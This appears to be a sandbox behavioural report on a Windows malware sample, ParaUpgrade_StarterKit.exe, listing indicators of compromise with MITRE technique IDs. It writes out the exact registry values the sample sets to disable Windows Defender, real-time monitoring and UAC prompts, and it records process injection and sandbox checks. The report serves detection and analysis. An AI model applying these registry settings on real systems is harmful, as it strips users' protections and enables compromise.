83cc99efd0319c4e302ba48b3c2ad67e21c23af469d4b8ec1cec4730a3f27eca

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	ParaUpgrade_StarterKit.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	ParaUpgrade_StarterKit.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	ParaUpgrade_StarterKit.exe

UAC bypass 3 TTPs 4 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	powershell.exe

Executes dropped EXE 7 IoCs

pid	Process
2716	srvUtil.exe
5296	srvUtil.exe
548	srvUtil.exe
400	srvUtil.exe
2052	$PARAStager.exe
3468	$PARA_StarterPack.exe
5408	$PARA_FInstaller.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Privacy-Auditing%4Operational.evtx	svchost.exe

Loads dropped DLL 5 IoCs

pid	Process
3468	$PARA_StarterPack.exe
3468	$PARA_StarterPack.exe
5408	$PARA_FInstaller.exe
5408	$PARA_FInstaller.exe
5408	$PARA_FInstaller.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5840	powershell.exe
4952	powershell.exe

Drops file in System32 directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\LogFiles\WMI\FaceTelManually.etl	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\WINDOWS\SYSTEM32\WINBIODATABASE\51F39552-1075-4199-B513-0C10EA185DB0.DAT	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\StarterPack_wp1.jpg"	$PARA_StarterPack.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2716 set thread context of 400	2716	srvUtil.exe	111

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_la1yyd1k.4bn.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pvxyy0jq.oa1.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4840	cmd.exe
5832	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
6024	2716	WerFault.exe	108

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$PARAStager.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	srvUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	srvUtil.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5832	cmd.exe

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	SystemSettings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	SystemSettings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	SystemSettings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	SystemSettings.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RuntimeBroker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\SplashScreen	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\ApplicationFrame\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\Prefer	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData	ApplicationFrameHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\B = "4294967295"	ApplicationFrameHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\B = "4278190080"	ApplicationFrameHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\B = "16777215"	ApplicationFrameHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\B = "4279703319"	ApplicationFrameHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\ApplicationFrame\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\Positi = 2c0000000000000001000000ffffffffffffffffffffffffffffffff2800000020000000e8040000cd030000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\SplashScreen	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI	ApplicationFrameHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\A = "281587075357147136"	ApplicationFrameHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\ApplicationFrame\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\Prefer = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\E = "1"	ApplicationFrameHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\PersistedTitleBarData	ApplicationFrameHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\PersistedTitleBarData\windows.immersivecontrolpanel_cw5n1h2txye	ApplicationFrameHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\PersistedTitleBarData\windows.immersivecontrolpanel_cw5n1h2txye = "2814749767631848"	ApplicationFrameHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.SecHealthUI_8wekyb3d8bbwe\ApplicationFrame\Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI\Prefer = f4010000f4010000	explorer.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
3456	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe
5840	powershell.exe
5840	powershell.exe
5840	powershell.exe
5840	powershell.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2216	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeShutdownPrivilege	3352	svchost.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	744	winlogon.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeShutdownPrivilege	2216	explorer.exe
Token: SeCreatePagefilePrivilege	2216	explorer.exe
Token: SeAssignPrimaryTokenPrivilege	3732	svchost.exe
Token: SeSecurityPrivilege	3732	svchost.exe
Token: SeBackupPrivilege	3732	svchost.exe
Token: SeRestorePrivilege	3732	svchost.exe
Token: SeShutdownPrivilege	3732	svchost.exe
Token: SeSystemEnvironmentPrivilege	3732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3732	svchost.exe
Token: SeIncreaseQuotaPrivilege	3732	svchost.exe
Token: SeSecurityPrivilege	3732	svchost.exe
Token: SeTakeOwnershipPrivilege	3732	svchost.exe
Token: SeLoadDriverPrivilege	3732	svchost.exe
Token: SeSystemtimePrivilege	3732	svchost.exe
Token: SeBackupPrivilege	3732	svchost.exe
Token: SeRestorePrivilege	3732	svchost.exe
Token: SeShutdownPrivilege	3732	svchost.exe
Token: SeSystemEnvironmentPrivilege	3732	svchost.exe
Token: SeUndockPrivilege	3732	svchost.exe
Token: SeManageVolumePrivilege	3732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3732	svchost.exe
Token: SeIncreaseQuotaPrivilege	3732	svchost.exe
Token: SeSecurityPrivilege	3732	svchost.exe
Token: SeTakeOwnershipPrivilege	3732	svchost.exe
Token: SeLoadDriverPrivilege	3732	svchost.exe
Token: SeSystemtimePrivilege	3732	svchost.exe
Token: SeBackupPrivilege	3732	svchost.exe
Token: SeRestorePrivilege	3732	svchost.exe
Token: SeShutdownPrivilege	3732	svchost.exe
Token: SeSystemEnvironmentPrivilege	3732	svchost.exe
Token: SeUndockPrivilege	3732	svchost.exe
Token: SeManageVolumePrivilege	3732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3732	svchost.exe
Token: SeIncreaseQuotaPrivilege	3732	svchost.exe
Token: SeSecurityPrivilege	3732	svchost.exe
Token: SeTakeOwnershipPrivilege	3732	svchost.exe
Token: SeLoadDriverPrivilege	3732	svchost.exe
Token: SeSystemtimePrivilege	3732	svchost.exe
Token: SeBackupPrivilege	3732	svchost.exe
Token: SeRestorePrivilege	3732	svchost.exe
Token: SeShutdownPrivilege	3732	svchost.exe
Token: SeSystemEnvironmentPrivilege	3732	svchost.exe
Token: SeUndockPrivilege	3732	svchost.exe

Suspicious use of FindShellTrayWindow 17 IoCs

pid	Process
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
4704	ApplicationFrameHost.exe
5316	SecurityHealthSystray.exe
5316	SecurityHealthSystray.exe
4704	ApplicationFrameHost.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
5316	SecurityHealthSystray.exe
5316	SecurityHealthSystray.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe
2216	explorer.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2052	SecHealthUI.exe
5020	SecHealthUI.exe
5020	SecHealthUI.exe
5020	SecHealthUI.exe
5020	SecHealthUI.exe
5020	SecHealthUI.exe
4704	ApplicationFrameHost.exe
4580	SecHealthUI.exe
4704	ApplicationFrameHost.exe
5984	SystemSettings.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
5272	smartscreen.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5872 wrote to memory of 4952	5872	ParaUpgrade_StarterKit.exe	89
PID 4952 wrote to memory of 4600	4952	powershell.exe	91
PID 4600 wrote to memory of 1112	4600	csc.exe	92
PID 4952 wrote to memory of 3456	4952	powershell.exe	102
PID 5872 wrote to memory of 4840	5872	ParaUpgrade_StarterKit.exe	104
PID 4840 wrote to memory of 576	4840	cmd.exe	106
PID 5872 wrote to memory of 2716	5872	ParaUpgrade_StarterKit.exe	108
PID 2716 wrote to memory of 5296	2716	srvUtil.exe	109
PID 2716 wrote to memory of 548	2716	srvUtil.exe	110
PID 2716 wrote to memory of 400	2716	srvUtil.exe	111
PID 2716 wrote to memory of 400	2716	srvUtil.exe	111
PID 2716 wrote to memory of 400	2716	srvUtil.exe	111
PID 2716 wrote to memory of 400	2716	srvUtil.exe	111
PID 2716 wrote to memory of 400	2716	srvUtil.exe	111
PID 2716 wrote to memory of 400	2716	srvUtil.exe	111
PID 5832 wrote to memory of 5840	5832	cmd.exe	113
PID 5840 wrote to memory of 744	5840	powershell.exe	5
